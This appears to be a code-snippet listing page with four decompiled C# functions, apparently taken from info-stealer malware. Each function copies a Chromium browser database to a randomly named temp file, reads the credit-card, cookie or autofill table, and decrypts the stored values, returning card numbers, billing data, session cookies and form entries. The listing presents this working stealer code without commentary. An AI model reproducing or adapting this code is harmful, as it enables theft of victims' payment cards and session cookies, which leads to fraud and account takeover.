Example #1
0
    // Token: 0x06000005 RID: 5 RVA: 0x00002E54 File Offset: 0x00001054
    private static List <CardData> fetch_cookies(string string_0)
    {
        bool            flag = !File.Exists(string_0);
        List <CardData> result;

        if (flag)
        {
            result = null;
        }
        else
        {
            try
            {
                string text  = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                bool   flag2 = File.Exists(text);
                if (flag2)
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Sqlite sqlite = new Sqlite(text);
                sqlite.ReadTable("CC");
                List <CardData> list = new List <CardData>();
                for (int i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        string number = string.Empty;
                        try
                        {
                            number = Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null));
                        }
                        catch (Exception)
                        {
                        }
                        bool flag3;
                        bool.TryParse(sqlite.GetValue(i, 6), out flag3);
                        list.Add(new CardData
                        {
                            Name    = sqlite.GetValue(i, 1),
                            Exp_m   = sqlite.GetValue(i, 2),
                            Exp_y   = sqlite.GetValue(i, 3),
                            Number  = number,
                            Billing = sqlite.GetValue(i, 9)
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                result = list;
            }
            catch
            {
                result = new List <CardData>();
            }
        }
        return(result);
    }
Example #2
0
    // Token: 0x06000005 RID: 5
    private static List <Cookie> fetch_cookies(string string_0)
    {
        List <Cookie> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Path.GetTempPath() + "/" + Class8.Random_string() + ".fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                SqlHandler sqlHandler = new SqlHandler(text);
                sqlHandler.ReadTable("cookies");
                List <Cookie> list = new List <Cookie>();
                for (int i = 0; i < sqlHandler.GetRowCount(); i++)
                {
                    try
                    {
                        string value = string.Empty;
                        try
                        {
                            value = Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 12)), null));
                        }
                        catch (Exception)
                        {
                        }
                        bool flag;
                        bool.TryParse(sqlHandler.GetValue(i, 6), out flag);
                        list.Add(new Cookie
                        {
                            domain         = sqlHandler.GetValue(i, 1),
                            name           = sqlHandler.GetValue(i, 2),
                            path           = sqlHandler.GetValue(i, 4),
                            expirationDate = sqlHandler.GetValue(i, 5),
                            secure         = flag.ToString().ToUpper(),
                            value          = value,
                            hostOnly       = "TRUE"
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                result = list;
            }
            catch
            {
                result = new List <Cookie>();
            }
        }
        return(result);
    }
Example #3
0
    // Token: 0x06000003 RID: 3 RVA: 0x00002734 File Offset: 0x00000934
    private static List <FormData> smethod_1(string string_0)
    {
        bool            flag = !File.Exists(string_0);
        List <FormData> result;

        if (flag)
        {
            result = null;
        }
        else
        {
            try
            {
                string text  = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                bool   flag2 = File.Exists(text);
                if (flag2)
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Sqlite sqlite = new Sqlite(text);
                sqlite.ReadTable("Autofill");
                List <FormData> list = new List <FormData>();
                for (int i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        try
                        {
                            Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null));
                        }
                        catch (Exception)
                        {
                        }
                        bool flag3;
                        bool.TryParse(sqlite.GetValue(i, 6), out flag3);
                        list.Add(new FormData
                        {
                            Name  = sqlite.GetValue(i, 0),
                            Value = sqlite.GetValue(i, 1)
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                result = list;
            }
            catch
            {
                result = new List <FormData>();
            }
        }
        return(result);
    }
Example #4
0
        private static List <Cookie> GetCookies(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return(null);
            }

            List <Cookie> result;

            try
            {
                string text = $"{Path.GetTempPath()}/{Helper.GetRandomString()}.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(basePath, text, true);
                Sqlite sqlite = new Sqlite(text);
                sqlite.ReadTable("cookies");
                List <Cookie> list = new List <Cookie>();
                for (var i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        string value = string.Empty;
                        try
                        {
                            value = Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 12)), null));
                        }
                        catch (Exception) { }
                        bool.TryParse(sqlite.GetValue(i, 6), out var flag);
                        list.Add(new Cookie
                        {
                            Domain         = sqlite.GetValue(i, 1),
                            Name           = sqlite.GetValue(i, 2),
                            Path           = sqlite.GetValue(i, 4),
                            ExpirationDate = sqlite.GetValue(i, 5),
                            Secure         = flag.ToString().ToUpper(),
                            Value          = value,
                            HostOnly       = "TRUE"
                        });
                    }
                    catch (Exception) { }
                }
                result = list;
            }
            catch
            {
                result = new List <Cookie>();
            }
            return(result);
        }